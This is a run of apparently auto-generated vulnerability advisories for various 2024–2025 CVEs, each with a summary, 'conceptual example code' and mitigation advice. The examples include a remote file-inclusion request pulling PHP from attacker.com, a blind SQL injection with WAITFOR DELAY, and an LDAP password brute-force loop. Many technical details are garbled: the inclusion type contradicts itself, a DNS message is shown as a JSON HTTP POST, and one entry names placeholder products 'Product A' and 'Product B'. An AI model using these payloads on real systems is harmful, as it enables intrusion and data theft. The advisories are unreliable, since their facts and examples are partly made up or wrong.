Author: Ameeba

Overview

This report assesses a serious vulnerability, CVE-2025-46454, that affects the svil4ok Meta Keywords & Description PHP program. This vulnerability can lead to a PHP Local File Inclusion, which could potentially compromise a system or leak sensitive data. Given that PHP is a widely used language for web development, this vulnerability could have widespread impacts.

Vulnerability Summary

CVE ID: CVE-2025-46454
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

svil4ok Meta Keywords & Description | n/a to 0.8

How the Exploit Works

The exploit works by taking advantage of improper control of filename for an include/require statement in the svil4ok Meta Keywords & Description PHP program. An attacker can manipulate the filename to include a local file from the server, leading to a PHP Local File Inclusion. This could allow the attacker to execute arbitrary PHP code on the server, leading to potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of a HTTP request that could exploit this vulnerability:

GET /include.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerablewebsite.com

In the above example, the attacker is inserting their own server URL (`http://attacker.com/malicious_file.php`) into the `file` parameter. If the server processes this request, it may include the malicious file and execute any PHP code it contains.

Mitigation Guidance

It is recommended to apply the vendor patch as soon as it becomes available. In the meantime, you can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. Regularly updating and patching your PHP programs can help prevent such vulnerabilities from being exploited.

Overview

The CVE-2025-0993 is a critical vulnerability discovered in GitLab CE/EE that affects multiple versions of the software. If exploited, an authenticated attacker could exhaust server resources, causing a denial of service (DoS) condition. As GitLab is widely used for software development and collaboration, this vulnerability could potentially impact a large number of users and organizations.

Vulnerability Summary

CVE ID: CVE-2025-0993
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Authenticated)
User Interaction: None
Impact: Denial of Service (DoS), potential system compromise, and potential data leakage

Affected Products

Product | Affected Versions

GitLab CE | versions before 17.10.7
GitLab EE | 17.11 before 17.11.3, 18.0 before 18.0.1

How the Exploit Works

An authenticated attacker can exploit this vulnerability by sending a series of requests designed to consume excessive system resources. This is done by leveraging a flaw in the software’s resource allocation, causing it to allocate more resources than necessary or to fail to properly release resources after use. As a result, the server can become overwhelmed and unable to service legitimate requests, leading to a denial of service.

Conceptual Example Code

Below is a conceptual example of a malicious request that could exploit this vulnerability. In practice, the specifics of the “malicious_payload” would depend on the exact nature of the resource allocation flaw.

POST /api/v4/projects HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "..." }

Please note that the actual exploit would require detailed knowledge of the specific flaw and might involve multiple such requests.

Mitigation Guidance

As soon as possible, affected users should apply the vendor-provided patch to fix this vulnerability. If immediate patching is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these measures are not a substitute for patching and should only be used as a stop-gap measure.

Overview

The CVE-2025-47947 vulnerability is a significant security flaw discovered in ModSecurity, an open-source web application firewall widely used across platforms such as Apache, IIS and Nginx. This vulnerability is critical due to its potential to cause a denial of service attack, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47947
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of service, potential system compromise or data leakage

Affected Products

Product | Affected Versions

ModSecurity for Apache | Up to and including 2.9.8
ModSecurity for IIS | Up to and including 2.9.8
ModSecurity for Nginx | Up to and including 2.9.8

How the Exploit Works

The vulnerability lies in the `sanitiseMatchedBytes` action in ModSecurity. When the payload’s content type is `application/json`, and a rule which executes a `sanitiseMatchedBytes` action is triggered, the application becomes susceptible to a denial of service attack. The attacker can leverage this vulnerability to cause the system to consume excessive resources, leading to a denial of service.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"sanitiseMatchedBytes": "This is a malicious payload that triggers a denial of service attack..."
}

The above request, when processed by a vulnerable version of ModSecurity, could lead to a denial of service attack.

Mitigation

The most effective mitigation for this vulnerability is to apply the vendor-supplied patch, which is available at pull request 3389 and is expected to be included in version 2.9.9. In situations where immediate patching is not possible, deploying a web application firewall or intrusion detection system as a temporary mitigation measure is recommended. However, it is crucial to note that these are only stop-gap measures and the patch should be applied as soon as possible to fully mitigate the vulnerability.

Overview

The vulnerability CVE-2025-4416 is a severe security issue affecting the Drupal Events Log Track, a popular web content management system. This vulnerability allows for the excessive allocation of resources without any limits or throttling. This can potentially lead to a system compromise or data leakage, posing a significant risk to any business relying on the affected software.

Vulnerability Summary

CVE ID: CVE-2025-4416
Severity: High (7.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Drupal Events Log Track | 0.0.0 – 3.1.10
Drupal Events Log Track | 4.0.0 – 4.0.1

How the Exploit Works

The vulnerability is essentially a resource exhaustion issue, as it allows an attacker to allocate excessive resources without any restriction. This can be achieved remotely without requiring any user interaction or special privileges. An attacker could potentially leverage this vulnerability to compromise the system or lead to data leakage, causing massive damage.

Conceptual Example Code

The following conceptual code illustrates how an attacker might exploit this vulnerability:

POST /event/log/track HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "resource_request": "9999999999" }

In this example, the attacker sends a POST request to the vulnerable endpoint `/event/log/track` with an excessively high `resource_request` value, causing the system to allocate more resources than it can handle, leading to potential system instability or compromise.

Mitigation

Users are advised to update Drupal Events Log Track to version 3.1.11 or 4.0.2 that contain patches for this vulnerability. Alternatively, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. Regularly updating software and employing robust security measures are crucial in maintaining a secure digital environment.

Overview

This report discusses the vulnerability CVE-2025-40775, which affects BIND DNS server versions 9.20.0 through 9.20.8 and 9.21.0 through 9.21.7. This vulnerability is significant as it potentially allows unauthorized access to systems, leading to data leakage or system compromise. Given the widespread use of BIND DNS servers, this vulnerability poses a considerable risk to secure information exchange and integrity of systems across the globe.

Vulnerability Summary

CVE ID: CVE-2025-40775
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential for system compromise and data leakage

Affected Products

Product | Affected Versions

BIND DNS Server | 9.20.0 – 9.20.8
BIND DNS Server | 9.21.0 – 9.21.7

How the Exploit Works

When the BIND DNS server receives an incoming DNS protocol message that includes a Transaction Signature (TSIG), it always checks this signature. If the TSIG contains an invalid value in its algorithm field, the BIND server is forced to abort its operation with an assertion failure. This behavior can be exploited by attackers to interrupt the DNS service, leading to potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how a DNS protocol message with an invalid TSIG might be sent to exploit this vulnerability:

POST /dns-query HTTP/1.1
Host: vulnerable-dns-server.com
Content-Type: application/dns-message
{
"header": {
"id": "1234",
"opcode": "QUERY",
"rcode": "NOERROR",
"flags": ["qr","rd","ra"],
"qdcount": "1",
"ancount": "0",
"nscount": "0",
"arcount": "1"
},
"question": [{"name": "example.com.", "type": "A"}],
"additional": [
{
"name": "transaction-key.",
"type": "TSIG",
"algorithm": "invalid-algorithm",
"time_signed": "20250314120000",
"fudge": "300",
"error": "NOERROR",
"other_data": ""
}
]
}

In this example, the “algorithm” field of the TSIG contains an invalid value (“invalid-algorithm”), which would cause the BIND server to abort its operation with an assertion failure.

Overview

The CVE-2025-48018 vulnerability is a significant security issue that affects various software applications. This vulnerability allows an authenticated user to modify the application’s state data, potentially leading to system compromise or data leakage. Given the severity of the vulnerability, it is critical for system administrators and security teams to understand and address this issue promptly.

Vulnerability Summary

CVE ID: CVE-2025-48018
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Product A | Version 1.0 to 2.5
Product B | Version 3.0 to 4.0

How the Exploit Works

The CVE-2025-48018 vulnerability arises when an authenticated user manipulates the state data of an application. The user can craft malicious inputs that, when processed by the application, lead to undesired changes in the application’s state data. This manipulation can result in unauthorized actions, system compromise, or confidential data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability could be exploited. Here, the attacker, who is an authenticated user, sends a malicious payload via a POST request to a vulnerable endpoint on the target system.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"state_data": {
"adminPrivileges": "true",
"dataAccessLevel": "all"
}
}

In this example, the attacker attempts to escalate their privileges and gain full data access rights by modifying the state data.

Mitigation

To mitigate the risks associated with this vulnerability, it is recommended to apply vendor-supplied patches as soon as they are available. In the absence of a patch, using web application firewalls (WAFs) or intrusion detection systems (IDS) can provide temporary protection by detecting and blocking attempts to exploit this vulnerability. Regularly auditing and monitoring system logs can also help in identifying any suspicious activities.

Overview

The vulnerability CVE-2025-48014 pertains to a flaw in LDAP authentication systems where password guessing limits could be bypassed, potentially leading to unauthorized access of sensitive data and system compromise. This vulnerability is especially concerning for organizations utilizing LDAP for authentication purposes as it can enable attackers to gain unauthorized access bypassing traditional security measures.

Vulnerability Summary

CVE ID: CVE-2025-48014
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

LDAP Authentication Systems | All prior versions to patch

How the Exploit Works

The exploit takes advantage of a flaw in the LDAP authentication process that does not properly enforce the password guessing limit. Thus, an attacker can continuously guess passwords without being locked out, thereby potentially gaining unauthorized access to the system.

Conceptual Example Code

Here is a conceptual example of how an attacker may attempt to exploit this vulnerability:

while true; do
for password in $(cat password_list.txt); do
echo "Trying password: $password"
ldapwhoami -H ldap://target.example.com -x -D "cn=admin,dc=example,dc=com" -w $password
done
done

In the above example, an attacker uses a script to continuously guess passwords from a precompiled list (`password_list.txt`), attempting to authenticate as the ‘admin’ user on a target LDAP server. The script will continue to guess passwords until it is manually stopped, taking advantage of the password guessing limit bypass vulnerability.

Mitigation Guidance

To mitigate this vulnerability, vendors are recommended to apply the latest patches that properly enforce the password guessing limit. As a temporary measure, organizations can utilize Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) to identify and block repeated failed login attempts.

Overview

This report presents a detailed analysis of the CVE-2025-26086 vulnerability. This is a high-risk blind SQL injection vulnerability that affects the RSI Queue Management System v3.0. If exploited, it can allow attackers to remotely inject time-delayed SQL payloads without authentication, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-26086
Severity: High (CVSS Score 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage through extraction of sensitive database contents.

Affected Products

Product | Affected Versions

RSI Queue Management System | v3.0

How the Exploit Works

This vulnerability stems from the lack of proper sanitization of the TaskID parameter in the GET request handler of the RSI Queue Management System v3.0. An attacker can exploit this by injecting a malicious SQL payload into the TaskID parameter. The payload is time-delayed, causing the server to delay its response. This time delay allows the attacker to infer information from the database iteratively, which can lead to unauthorized access to sensitive data.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:

GET /queue?TaskID=1;WAITFOR%20DELAY%20'0:0:10'%20-- HTTP/1.1
Host: target.example.com

In this example, the attacker injects a SQL payload (`WAITFOR DELAY ‘0:0:10’`) into the TaskID parameter, causing the server to wait for 10 seconds before responding. By monitoring the server’s response time, the attacker can infer whether the injected SQL statement was executed, allowing them to extract sensitive information from the database iteratively.

Mitigation

Users of the RSI Queue Management System v3.0 are advised to apply the vendor’s patch to fix this vulnerability. In situations where immediate patching is not feasible, temporary mitigation can be achieved by implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block malicious SQL injection attempts. Regular monitoring and updating of these security systems is also recommended to ensure continued protection.

Overview

The vulnerability CVE-2024-53359 is a significant flaw found in Zalo v23.09.01. This vulnerability allows attackers to obtain sensitive user information through a precisely crafted GET request. It is of particular concern to Zalo users and service providers due to its potential for system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2024-53359
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Zalo | v23.09.01

How the Exploit Works

The exploit works by allowing an attacker to craft a specific GET request. This request, when processed by Zalo v23.09.01, exposes sensitive user information that should not be accessible. The vulnerability lies in the improper handling of GET requests, leading to unintended access to protected data.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited using a GET request:

GET /user/data HTTP/1.1
Host: target.example.com
User-Agent: ZaloClient/23.09.01
Accept: application/json

This GET request could be used by an attacker to retrieve sensitive user data which should otherwise be inaccessible.

Mitigation

The immediate mitigation is to apply the vendor’s patch. If the patch is not available or cannot be applied immediately, use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary solution to detect and block malicious requests. It is strongly recommended to review and update security policies to prevent future vulnerabilities.

Overview

The vulnerability CVE-2025-41230 is a significant cybersecurity concern for users of VMware Cloud Foundation. It is an information disclosure vulnerability that allows malicious agents with network access to port 443 to exploit the issue and gain access to sensitive system information. Given the ubiquity of VMware Cloud Foundation, this vulnerability could potentially impact a substantial number of systems and networks, leading to unauthorized information access and potential system compromise.

Vulnerability Summary

CVE ID: CVE-2025-41230
Severity: High – 7.5 (CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise, Data Leakage

Affected Products

Product | Affected Versions

VMware Cloud Foundation | All versions prior to the patched release

How the Exploit Works

The exploit takes advantage of a security lapse in VMware Cloud Foundation’s port 443. A malicious actor with network access can send specially crafted requests to this port to trigger the vulnerability and gain access to sensitive information. The information disclosed could potentially be used to compromise the system further or lead to data leakage.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:

GET /sensitive-endpoint HTTP/1.1
Host: targetvmwarefoundation.com

The above is a simple request to a potentially vulnerable endpoint. In this case, the malicious actor does not need any special privileges or user interaction, making it a notably high-risk vulnerability.

Mitigation Guidance

Users of VMware Cloud Foundation are strongly advised to apply the vendor patch as soon as it becomes available. In the meantime, or if patching is not immediately possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation, offering some protection against attempts to exploit this vulnerability.